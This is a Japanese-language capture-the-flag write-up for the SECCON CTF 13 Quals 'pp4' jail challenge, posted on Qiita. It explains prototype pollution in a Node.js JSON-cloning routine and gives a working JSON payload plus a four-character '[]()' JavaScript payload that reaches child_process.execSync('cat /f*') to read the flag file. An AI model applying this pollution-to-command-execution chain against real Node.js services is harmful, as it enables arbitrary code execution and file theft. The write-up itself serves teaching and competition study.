1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[jail] pp4 (SECCON CTF 13 Quals) writeup

Last updated at Posted at 2024-12-06

  • Source: SECCON CTF 13 Quals
  • Author: Ark

ncで接続できるサーバーが提示される。ソースコードを見てみる。

index.js
#!/usr/local/bin/node
const readline = require("node:readline/promises");
const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

const clone = (target, result = {}) => {
  for (const [key, value] of Object.entries(target)) {
    if (value && typeof value == "object") {
      if (!(key in result)) result[key] = {};
      clone(value, result[key]);
    } else {
      result[key] = value;
    }
  }
  return result;
};

(async () => {
  // Step 1: Prototype Pollution
  const json = (await rl.question("Input JSON: ")).trim();
  console.log(clone(JSON.parse(json)));

  // Step 2: JSF**k with 4 characters
  const code = (await rl.question("Input code: ")).trim();
  if (new Set(code).size > 4) {
    console.log("Too many :(");
    return;
  }
  console.log(eval(code));
})().finally(() => rl.close());

Dockerfileを見る限り、flagのあるファイル名は分からない。

Dockerfile
FROM node:22.9.0-slim AS base
WORKDIR /app

COPY flag.txt .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
COPY --chmod=555 index.js run


FROM pwn.red/jail
COPY --from=base / /srv
ENV JAIL_TIME=30 JAIL_MEM=50M JAIL_CPU=100 JAIL_PIDS=10

要するに、任意のprototype pollution payloadを投げた後、4種類の文字だけでflagを読み取るという問題。

  // Step 1: Prototype Pollution
  const json = (await rl.question("Input JSON: ")).trim();
  console.log(clone(JSON.parse(json)));

  // Step 2: JSF**k with 4 characters
  const code = (await rl.question("Input code: ")).trim();
  if (new Set(code).size > 4) {
    console.log("Too many :(");
    return;
  }
  console.log(eval(code));

この問題であれば、関数の実行で(,)を使うことを考えると残り2文字は[,]でどうにかなりそう。

protorype pollutionはobjectのprototypeを(意図されていないものに)操作するもので、例えばこのコードではObject.hogeの値を操作している。

Object.prototype['hoge'] = 1
let obj = {}
console.log(obj.hoge) // 1

そして、constructorを使えば[]からfunctionを取り出すことができ、functionの中に任意のコードを書いて実行することができる。さらにreturn evalでeval関数を呼び出し、文字列をjavascriptのコードとして実行することもできる。

console.log([].constructor) // [Function: Array]
console.log([].constructor.constructor) // [Function: Function]
console.log([].constructor.constructor(console.log("hoge"))) // hoge
console.log([].constructor.constructor("return eval")()) // [Function: eval]
console.log([].constructor.constructor("return eval")()("console.log(\"fuga\")")) // fuga

この問題ではcat /f*を実行して値を返したいので、最終的にこのコードを実行することを目標とする。

process.mainModule.require("child_process").execSync("cat /f*").toString()

ここで、javascriptは[]を空文字列としても解釈する。すなわち、[][[]][][""]と等しい。これを用いればパズルの要領で[]からflag読み出しのコードまで繋げることができる。

まず、難読化前のpayloadはこうなる。

[]["constructor"]["constructor"]("return eval")()("process.mainModule.require('child_process').execSync('cat /f*').toString()")

このpayloadを4種の文字で書けるようにObjectのprototypeを操作する。ただし、Object.constructorは元からObjectに存在するため上書きできない。よって一番末尾に置く。

{
  "__proto__": {
    "process.mainModule.require('child_process').execSync('cat /f*').toString()": "constructor",
    "return eval": "process.mainModule.require('child_process').execSync('cat /f*').toString()",
    "": "return eval"
  }
}

pythonにpayloadを生成してもらう。

import json

json_payload = json.dumps({
  "__proto__": {
    "process.mainModule.require('child_process').execSync('cat /f*').toString()": "constructor",
    "return eval": "process.mainModule.require('child_process').execSync('cat /f*').toString()",
    "": "return eval"
  }
})
print(json_payload)

ret_eval = "[][[]]"
cmd = "[][[][[]]]"
constructor = "[][[][[][[]]]]"

js_payload = f"[][{constructor}][{constructor}]({ret_eval})()({cmd})"
print(js_payload)

最終的なpayloadはこうなる。

[][[][[][[][[]]]]][[][[][[][[]]]]]([][[]])()([][[][[]]])

このjsonとjavascript(?)を投げるとflagが得られた。
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?